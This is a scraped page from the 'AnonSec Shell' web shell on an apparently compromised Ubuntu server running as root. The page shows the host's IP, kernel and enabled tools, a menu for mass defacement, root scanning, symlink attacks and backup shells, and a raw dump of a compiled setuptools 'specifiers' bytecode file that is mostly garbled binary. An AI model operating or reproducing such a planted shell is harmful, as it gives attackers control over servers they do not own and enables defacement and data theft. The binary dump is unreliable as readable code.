AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/setuptools/_vendor/packaging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/setuptools/_vendor/packaging/__pycache__/specifiers.cpython-310.pyc
o

�_�a�x�	@s�ddlZddlZddlZddlZddlZddlmZmZmZm	Z	m
Z
mZmZm
Z
mZmZmZddlmZddlmZmZmZeeefZeeeefZeded�ZeeegefZGdd	�d	e�ZGd
d�dejd�Z Gd
d�de �Z!Gdd�de!�Z"dedeegefdedeegeffdd�Z#Gdd�de!�Z$e�%d�Z&dede
efdd�Z'dedefdd�Z(de
ede
edee
ee
effd d!�Z)Gd"d#�d#e �Z*dS)$�N)�Callable�Dict�Iterable�Iterator�List�Optional�Pattern�Set�Tuple�TypeVar�Union�)�canonicalize_version)�
LegacyVersion�Version�parse�VersionTypeVar)�boundc@seZdZdZdS)�InvalidSpecifierzH
    An invalid specifier was found, users should refer to PEP 440.
    N)�__name__�
__module__�__qualname__�__doc__�rr�I/usr/lib/python3/dist-packages/setuptools/_vendor/packaging/specifiers.pyr!src	@s�eZdZejdefdd��Zejdefdd��Zejde	de
fdd��Zejde	de
fd	d
��Zej
dee
fdd��Zejd
e
ddfdd��Zejddedee
de
fdd��Zej	ddeedee
deefdd��ZdS)�
BaseSpecifier�returncC�dS)z�
        Returns the str representation of this Specifier like object. This
        should be representative of the Specifier itself.
        Nr��selfrrr�__str__(�zBaseSpecifier.__str__cCr)zF
        Returns a hash value for this Specifier like object.
        Nrrrrr�__hash__/r!zBaseSpecifier.__hash__�othercCr)zq
        Returns a boolean representing whether or not the two Specifier like
        objects are equal.
        Nr�rr#rrr�__eq__5r!zBaseSpecifier.__eq__cCr)zu
        Returns a boolean representing whether or not the two Specifier like
        objects are not equal.
        Nrr$rrr�__ne__<r!zBaseSpecifier.__ne__cCr)zg
        Returns whether or not pre-releases as a whole are allowed by this
        specifier.
        Nrrrrr�prereleasesCr!zBaseSpecifier.prereleases�valueNcCr)zd
        Sets whether or not pre-releases as a whole are allowed by this
        specifier.
        Nr�rr(rrrr'Jr!�itemr'cCr)zR
        Determines if the given item is contained within this specifier.
        Nr�rr*r'rrr�containsQr!zBaseSpecifier.contains�iterablecCr)z�
        Takes an iterable of items and filters them so that only items which
        are contained within this specifier are allowed in it.
        Nr)rr-r'rrr�filterWr!zBaseSpecifier.filter�N)rrr�abc�abstractmethod�strr �intr"�object�boolr%r&�abstractpropertyrr'�setterr,rrr.rrrrr's0����r)�	metaclassc@s~eZdZUiZeeefed<eeed<d-dedee	ddfdd	�Z
defd
d�Zdefdd
�Ze
deeeffdd��Zdefdd�Zdede	fdd�Zdede	fdd�Zdedefdd�Zdedefdd�Ze
defdd��Ze
defdd ��Ze
dee	fd!d"��Zejd#e	ddfd$d"��Zd%ede	fd&d'�Z	d.d%edee	de	fd(d)�Z	d.d*e e!dee	de e!fd+d,�Z"dS)/�_IndividualSpecifier�
_operators�_regex�N�specr'rcCsH|j�|�}|std|�d���|�d���|�d���f|_||_dS)NzInvalid specifier: '�'�operator�version)r;�searchr�group�strip�_spec�_prereleases)rr=r'�matchrrr�__init__fs�
z_IndividualSpecifier.__init__cCs0|jdurd|j��nd}d�|jjt|�|�S)N�, prereleases=r<z<{}({!r}{})>)rEr'�format�	__class__rr2�r�prerrr�__repr__ss

��z_IndividualSpecifier.__repr__cCsdj|j�S)Nz{}{})rIrDrrrrr |sz_IndividualSpecifier.__str__cCs|jdt|jd�fS)Nrr
)rDrrrrr�_canonical_specsz$_IndividualSpecifier._canonical_speccC�
t|j�Sr/)�hashrNrrrrr"��
z_IndividualSpecifier.__hash__r#cCsPt|t�rz	|�t|��}WntytYSwt||j�s"tS|j|jkSr/)�
isinstancer2rJr�NotImplementedrNr$rrrr%��
�z_IndividualSpecifier.__eq__cCsPt|t�rz	|�t|��}WntytYSwt||j�s"tS|j|jkSr/)rRr2rJrrSrDr$rrrr&�rTz_IndividualSpecifier.__ne__�opcCst|d|j|���}|S)N�	_compare_)�getattrr:)rrU�operator_callablerrr�
_get_operator�s�z"_IndividualSpecifier._get_operatorr@cCst|ttf�st|�}|Sr/)rRrrr�rr@rrr�_coerce_version�sz$_IndividualSpecifier._coerce_versioncC�
|jdS)Nr�rDrrrrr?��
z_IndividualSpecifier.operatorcCr\)Nr
r]rrrrr@�r^z_IndividualSpecifier.versioncCs|jSr/�rErrrrr'�sz _IndividualSpecifier.prereleasesr(cC�
||_dSr/r_r)rrrr'�r^r*cC�
|�|�Sr/�r,�rr*rrr�__contains__�rQz!_IndividualSpecifier.__contains__cCs>|dur|j}|�|�}|jr|sdS|�|j�}|||j�S�NF)r'r[�
is_prereleaserYr?r@)rr*r'�normalized_itemrXrrrr,�s

z_IndividualSpecifier.containsr-ccs��d}g}d|dur|ndi}|D]#}|�|�}|j|fi|��r4|jr/|s/|js/|�|�qd}|Vq|sA|rC|D]	}|Vq;dSdSdS)NFr'T)r[r,rfr'�append)rr-r'�yielded�found_prereleases�kwr@�parsed_versionrrrr.�s*�
����z_IndividualSpecifier.filter�r<Nr/)#rrrr:rr2�__annotations__rrr5rGrMr �propertyr
rNr3r"r4r%r&�CallableOperatorrY�UnparsedVersion�
ParsedVersionr[r?r@r'r7rdr,rrr.rrrrr9asL

	���
�����r9cs�eZdZdZe�dedejejB�Zdddddd	d
�Z	d"d
e
deeddf�fdd�
Z
dedefdd�Zded
e
defdd�Zded
e
defdd�Zded
e
defdd�Zded
e
defdd�Zded
e
defdd�Zded
e
defd d!�Z�ZS)#�LegacySpecifiera�
        (?P<operator>(==|!=|<=|>=|<|>))
        \s*
        (?P<version>
            [^,;\s)]* # Since this is a "legacy" specifier, and the version
                      # string can be just about anything, we match everything
                      # except for whitespace, a semi-colon for marker support,
                      # a closing paren since versions can be enclosed in
                      # them, and a comma since it's a version separator.
        )
        �^\s*�\s*$�equal�	not_equal�less_than_equal�greater_than_equal�	less_than�greater_than)�==�!=�<=�>=�<�>r<Nr=r'rcst��||�t�dt�dS)NzZCreating a LegacyVersion has been deprecated and will be removed in the next major release)�superrG�warnings�warn�DeprecationWarning)rr=r'�rJrrrGs
�zLegacySpecifier.__init__r@cCst|t�stt|��}|Sr/)rRrr2rZrrrr[s
zLegacySpecifier._coerce_version�prospectivecCs||�|�kSr/�r[�rr�r=rrr�_compare_equal�zLegacySpecifier._compare_equalcCs||�|�kSr/r�r�rrr�_compare_not_equalr�z"LegacySpecifier._compare_not_equalcCs||�|�kSr/r�r�rrr�_compare_less_than_equal"r�z(LegacySpecifier._compare_less_than_equalcCs||�|�kSr/r�r�rrr�_compare_greater_than_equal%sz+LegacySpecifier._compare_greater_than_equalcCs||�|�kSr/r�r�rrr�_compare_less_than*r�z"LegacySpecifier._compare_less_thancCs||�|�kSr/r�r�rrr�_compare_greater_than-r�z%LegacySpecifier._compare_greater_thanrm)rrr�
_regex_str�re�compile�VERBOSE�
IGNORECASEr;r:r2rr5rGrqrr[r�r�r�r�r�r��
__classcell__rrr�rrs�s0� 		��
�rs�fn�	Specifierrc	s,t���dddtdtdtf�fdd��}|S)Nrr�r�r=rcst|t�sdS�|||�Sre)rRrr��r�rr�wrapped4s
z)_require_version_compare.<locals>.wrapped)�	functools�wrapsrrr2r5)r�r�rr�r�_require_version_compare1s r�c	@s8eZdZdZe�dedejejB�Zdddddd	d
dd�Z	e
d
edede
fdd��Ze
d
edede
fdd��Ze
d
edede
fdd��Ze
d
edede
fdd��Ze
d
edede
fdd��Ze
d
edede
fdd��Ze
d
edede
fdd��Zd
edede
fdd �Zede
fd!d"��Zejd#e
dd$fd%d"��Zd$S)&r�a
        (?P<operator>(~=|==|!=|<=|>=|<|>|===))
        (?P<version>
            (?:
                # The identity operators allow for an escape hatch that will
                # do an exact string match of the version you wish to install.
                # This will not be parsed by PEP 440 and we cannot determine
                # any semantic meaning from it. This operator is discouraged
                # but included entirely as an escape hatch.
                (?<====)  # Only match for the identity operator
                \s*
                [^\s]*    # We just match everything, except for whitespace
                          # since we are only testing for strict identity.
            )
            |
            (?:
                # The (non)equality operators allow for wild card and local
                # versions to be specified so we have to define these two
                # operators separately to enable that.
                (?<===|!=)            # Only match for equals and not equals

                \s*
                v?
                (?:[0-9]+!)?          # epoch
                [0-9]+(?:\.[0-9]+)*   # release
                (?:                   # pre release
                    [-_\.]?
                    (a|b|c|rc|alpha|beta|pre|preview)
                    [-_\.]?
                    [0-9]*
                )?
                (?:                   # post release
                    (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*)
                )?

                # You cannot use a wild card and a dev or local version
                # together so group them with a | and make them optional.
                (?:
                    (?:[-_\.]?dev[-_\.]?[0-9]*)?         # dev release
                    (?:\+[a-z0-9]+(?:[-_\.][a-z0-9]+)*)? # local
                    |
                    \.\*  # Wild card syntax of .*
                )?
            )
            |
            (?:
                # The compatible operator requires at least two digits in the
                # release segment.
                (?<=~=)               # Only match for the compatible operator

                \s*
                v?
                (?:[0-9]+!)?          # epoch
                [0-9]+(?:\.[0-9]+)+   # release  (We have a + instead of a *)
                (?:                   # pre release
                    [-_\.]?
                    (a|b|c|rc|alpha|beta|pre|preview)
                    [-_\.]?
                    [0-9]*
                )?
                (?:                                   # post release
                    (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*)
                )?
                (?:[-_\.]?dev[-_\.]?[0-9]*)?          # dev release
            )
            |
            (?:
                # All other operators only allow a sub set of what the
                # (non)equality operators do. Specifically they do not allow
                # local versions to be specified nor do they allow the prefix
                # matching wild cards.
                (?<!==|!=|~=)         # We have special cases for these
                                      # operators so we want to make sure they
                                      # don't match here.

                \s*
                v?
                (?:[0-9]+!)?          # epoch
                [0-9]+(?:\.[0-9]+)*   # release
                (?:                   # pre release
                    [-_\.]?
                    (a|b|c|rc|alpha|beta|pre|preview)
                    [-_\.]?
                    [0-9]*
                )?
                (?:                                   # post release
                    (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*)
                )?
                (?:[-_\.]?dev[-_\.]?[0-9]*)?          # dev release
            )
        )
        rtru�
compatiblervrwrxryrzr{�	arbitrary)�~=r|r}r~rr�r��===r�r=rcCsJd�tt�tt|���dd��}|d7}|�d�||�o$|�d�||�S)N�.����.*rr|)�join�list�	itertools�	takewhile�_is_not_suffix�_version_splitrY)rr�r=�prefixrrr�_compare_compatible�s��zSpecifier._compare_compatiblec	Csv|�d�r+t|j�}t|dd��}tt|��}|dt|��}t||�\}}||kSt|�}|js7t|j�}||kS)Nr����)�endswithr�publicr�r2�len�_pad_version�local)	rr�r=�
split_spec�split_prospective�shortened_prospective�padded_spec�padded_prospective�spec_versionrrrr��s

�
zSpecifier._compare_equalcCs|�||�Sr/)r�r�rrrr��szSpecifier._compare_not_equalcCst|j�t|�kSr/�rr�r�rrrr��sz"Specifier._compare_less_than_equalcCst|j�t|�kSr/r�r�rrrr��sz%Specifier._compare_greater_than_equal�spec_strcCs<t|�}||ks
dS|js|jrt|j�t|j�krdSdS�NFT)rrf�base_version�rr�r�r=rrrr��szSpecifier._compare_less_thancCs^t|�}||ks
dS|js|jrt|j�t|j�krdS|jdur-t|j�t|j�kr-dSdSr�)r�is_postreleaser�r�r�rrrr�s
zSpecifier._compare_greater_thancCst|���t|���kSr/)r2�lowerr�rrr�_compare_arbitrary7szSpecifier._compare_arbitrarycCsR|jdur|jS|j\}}|dvr'|dkr |�d�r |dd�}t|�jr'dSdS)N)r|rr~r�r�r|r�r�TF)rErDr�rrf)rr?r@rrrr':s


zSpecifier.prereleasesr(NcCr`r/r_r)rrrr'Sr^)rrrr�r�r�r�r�r;r:r�rrr2r5r�r�r�r�r�r�r�rr�ror'r7rrrrr�=sJ]�'���	z^([0-9]+)((?:a|b|c|rc)[0-9]+)$r@cCs@g}|�d�D]}t�|�}|r|�|���q|�|�q|S)Nr�)�split�
_prefix_regexrA�extend�groupsrh)r@�resultr*rFrrrr�[s
r��segmentcst�fdd�dD��S)Nc3s�|]}��|�VqdSr/)�
startswith)�.0r��r�rr�	<genexpr>gs�

�z!_is_not_suffix.<locals>.<genexpr>)�dev�a�b�rc�post)�anyr�rr�rr�fs
�r��left�rightc
Cs�gg}}|�tt�dd�|���|�tt�dd�|���|�|t|d�d��|�|t|d�d��|�ddgtdt|d�t|d���|�ddgtdt|d�t|d���ttj|��ttj|��fS)NcS�|��Sr/��isdigit��xrrr�<lambda>p�z_pad_version.<locals>.<lambda>cSr�r/r�r�rrrr�qr�rr
�0)rhr�r�r�r��insert�max�chain)r�r��
left_split�right_splitrrrr�ls
,,r�c@s6eZdZ	d%dedeeddfdd�Zdefdd	�Zdefd
d�Zde	fdd
�Z
dedefddfdd�Zde
defdd�Zde
defdd�Zde	fdd�Zdeefdd�Zedeefdd��Zejdeddfdd��Zdedefdd�Z	d&dedeedefd d!�Z	d&d"eedeedeefd#d$�ZdS)'�SpecifierSetr<N�
specifiersr'rc	Csjdd�|�d�D�}t�}|D]}z	|�t|��Wqty*|�t|��Yqwt|�|_||_dS)NcSsg|]
}|��r|���qSr)rC�r��srrr�
<listcomp>�sz)SpecifierSet.__init__.<locals>.<listcomp>�,)	r��set�addr�rrs�	frozenset�_specsrE)rr�r'�split_specifiers�parsed�	specifierrrrrGs�

zSpecifierSet.__init__cCs*|jdurd|j��nd}d�t|�|�S)NrHr<z<SpecifierSet({!r}{})>)rEr'rIr2rKrrrrM�s

��zSpecifierSet.__repr__cCsd�tdd�|jD���S)Nr�css�|]}t|�VqdSr/)r2r�rrrr��s�z'SpecifierSet.__str__.<locals>.<genexpr>)r��sortedr�rrrrr �szSpecifierSet.__str__cCrOr/)rPr�rrrrr"�rQzSpecifierSet.__hash__r#cCs�t|t�r
t|�}nt|t�stSt�}t|j|jB�|_|jdur-|jdur-|j|_|S|jdur=|jdur=|j|_|S|j|jkrI|j|_|Std��)NzFCannot combine SpecifierSets with True and False prerelease overrides.)rRr2r�rSr�r�rE�
ValueError)rr#r�rrr�__and__�s$


�	���zSpecifierSet.__and__cCs6t|ttf�rtt|��}nt|t�stS|j|jkSr/�rRr2r9r�rSr�r$rrrr%��

zSpecifierSet.__eq__cCs6t|ttf�rtt|��}nt|t�stS|j|jkSr/r�r$rrrr&�r�zSpecifierSet.__ne__cCrOr/)r�r�rrrr�__len__�rQzSpecifierSet.__len__cCrOr/)�iterr�rrrr�__iter__�rQzSpecifierSet.__iter__cCs.|jdur|jS|js
dStdd�|jD��S)Ncss�|]}|jVqdSr/�r'r�rrrr��s�z+SpecifierSet.prereleases.<locals>.<genexpr>)rEr�r�rrrrr'�s

zSpecifierSet.prereleasesr(cCr`r/r_r)rrrr'�r^r*cCrar/rbrcrrrrd�rQzSpecifierSet.__contains__csLt�ttf�st����dur|j��s�jrdSt��fdd�|jD��S)NFc3s�|]
}|j��d�VqdS)r�Nrbr��r*r'rrr�s�z(SpecifierSet.contains.<locals>.<genexpr>)rRrrrr'rf�allr�r+rr�rr,�s
zSpecifierSet.containsr-cCs�|dur|j}|jr|jD]}|j|t|�d�}q
|Sg}g}|D](}t|ttf�s/t|�}n|}t|t�r7q!|jrD|sD|sC|�	|�q!|�	|�q!|sT|rT|durT|S|S)Nr�)
r'r�r.r5rRrrrrfrh)rr-r'r=�filteredrjr*rlrrrr.	s,




�zSpecifierSet.filterrmr/)rrrr2rr5rGrMr r3r"rr�r4r%r&r�rr9r�ror'r7rqrdr,rrr.rrrrr�~sL���
�	���
�����r�)+r0r�r�r�r��typingrrrrrrrr	r
rr�utilsrr@rrrrrr2rqrr5rpr�r�ABCMetarr9rsr�r�r�r�r�r�r�r�rrrr�<module>s<4:<�
�
.

Anon7 - 2022
AnonSec Team